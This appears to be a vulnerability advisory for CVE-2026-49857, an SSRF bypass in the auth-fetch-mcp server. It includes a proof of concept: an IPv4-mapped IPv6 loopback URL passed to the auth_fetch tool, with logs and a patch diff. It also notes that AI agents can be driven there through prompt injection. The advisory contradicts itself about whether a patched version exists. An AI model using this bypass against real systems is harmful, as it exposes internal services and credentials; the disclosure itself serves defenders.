Summary
auth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback
SSRF Protection Bypass via IPv4-mapped IPv6 Loopback
auth-fetch-mcp v3.0.1 implements SSRF protection in assertSafeUrl() (src/security.ts) to block requests to private and loopback addresses. However, the isPrivateV6() function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as http://[::ffff:127.0.0.1]:PORT/, the Node.js WHATWG URL parser silently normalizes the host to [::ffff:7f00:1]. Because net.isIPv4('7f00:1') returns false, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of 7.4 (High).
Details
The vulnerable function is isPrivateV6() in src/security.ts, called from assertSafeUrl() which gates every outbound request made by the auth_fetch and download_media MCP tools.
Root cause, src/security.ts:46-50:
if (lower.startsWith("::ffff:")) {
const v4 = lower.slice(7); // "7f00:1" after Node normalization
if (net.isIPv4(v4)) return isPrivateV4(v4); // false → falls through
}
return false; // loopback escapes the guard
The Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses:
| Input hostname | After new URL(...).hostname |
|---|---|
::ffff:127.0.0.1 |
::ffff:7f00:1 |
::ffff:192.168.1.1 |
::ffff:c0a8:101 |
After normalization, the suffix after ::ffff: is no longer a dotted-decimal IPv4 string, so net.isIPv4() returns false. The guard falls through and isPrivateV6() returns false, causing assertSafeUrl() to treat a loopback address as safe.
Data flow, primary sink (auth_fetch):
src/tools.ts:119,auth_fetchaccepts user-controlledurl: z.string()(source).src/tools.ts:128-131, handler callsnavigateTo(ctx, url), passing the raw URL.src/browser.ts:58,navigateTo()callsassertSafeUrl(url).src/security.ts:74-108,assertSafeUrl()delegates IPv6 host validation toisPrivateV6(); hex-normalized loopback bypasses the check.src/browser.ts:66,page.goto(safeUrl.toString())issues a browser request to the internal address.src/extractor.ts:33-54/src/tools.ts:171-176, page content is extracted and returned to the MCP caller.
Data flow, secondary sink (download_media):
src/tools.ts:198-210,download_mediaaccepts user-controlledurls[].src/tools.ts:233-234, each URL passes throughassertSafeUrl()thenctx.request.get(safeUrl.toString()).src/tools.ts:253-254, the response body is written to the local downloads directory and the path is returned.
Dynamic confirmation (Phase 2):
The PoC ran inside a Docker container (--network=host). Direct loopback URLs are correctly blocked:
[BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1)
[BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1)
The IPv4-mapped IPv6 form bypasses the check and reaches the internal service:
[VULN] SECURITY_BYPASS: assertSafeUrl() did not throw
[VULN] Input URL: http://[::ffff:127.0.0.1]:31337/
[VULN] Normalized URL: http://[::ffff:7f00:1]:31337/
[VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false
[SSRF] HTTP response received from internal service
[CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER
[CONFIRMED] VULNERABILITY_REPRODUCED=TRUE
PoC
Prerequisites:
git clone https://github.com/ymw0407/auth-fetch-mcp.git
cd auth-fetch-mcp
npm ci
npm run build
npx playwright install --with-deps chromium
Terminal 1, start a loopback-only internal service:
node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")'
Terminal 2, start the MCP server (default config, no special env vars):
npx [email protected]
MCP tool invocation:
{
"tool": "auth_fetch",
"arguments": {
"url": "http://[::ffff:127.0.0.1]:31337/"
}
}
Expected vs. actual behavior:
| URL | Expected | Actual |
|---|---|---|
http://127.0.0.1:31337/ |
BLOCK | BLOCK (correct) |
http://[::1]:31337/ |
BLOCK | BLOCK (correct) |
http://[::ffff:127.0.0.1]:31337/ |
BLOCK | ALLOW (vulnerable) |
http://[::ffff:7f00:1]:31337/ |
BLOCK | ALLOW (vulnerable) |
After the user clicks the "Capture" button, the MCP response contains INTERNAL_SECRET_MARKER, confirming that the internal HTTP service was reached through the SSRF protection bypass.
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can supply or influence the url argument of the auth_fetch tool (or the urls[] array of download_media) can direct the MCP server to make HTTP requests to services bound to 127.0.0.1 or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal.
Who is impacted:
- End users running
auth-fetch-mcplocally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface, local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers. - Server-side deployments: any deployment exposing
auth-fetch-mcpas a shared MCP server faces the same risk against internal network services reachable from the host. - The
auth_fetchUI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary.
Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-49857 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Decode the hex-encoded IPv4-mapped suffix before passing it to isPrivateV4():
if (lower.startsWith("::ffff:")) {
const v4 = lower.slice(7);
if (net.isIPv4(v4)) return isPrivateV4(v4);
+ const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4);
+ if (m) {
+ const hi = parseInt(m[1], 16);
+ const lo = parseInt(m[2], 16);
+ const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`;
+ return isPrivateV4(mapped);
+ }
}
Additionally, a BrowserContext route guard should be added in src/browser.ts to re-validate every navigation URL (including redirect targets) through assertSafeUrl().
No patched version available.
Frequently Asked Questions
- What is CVE-2026-49857? CVE-2026-49857 is a high-severity server-side request forgery (SSRF) vulnerability in auth-fetch-mcp (npm), affecting versions <= 3.0.1. It is fixed in 3.0.2. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-49857? CVE-2026-49857 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of auth-fetch-mcp are affected by CVE-2026-49857? auth-fetch-mcp (npm) versions <= 3.0.1 is affected.
- Is there a fix for CVE-2026-49857? Yes. CVE-2026-49857 is fixed in 3.0.2. Upgrade to this version or later.
- Is CVE-2026-49857 exploitable, and should I be worried? Whether CVE-2026-49857 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-49857 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-49857? Upgrade
auth-fetch-mcpto 3.0.2 or later.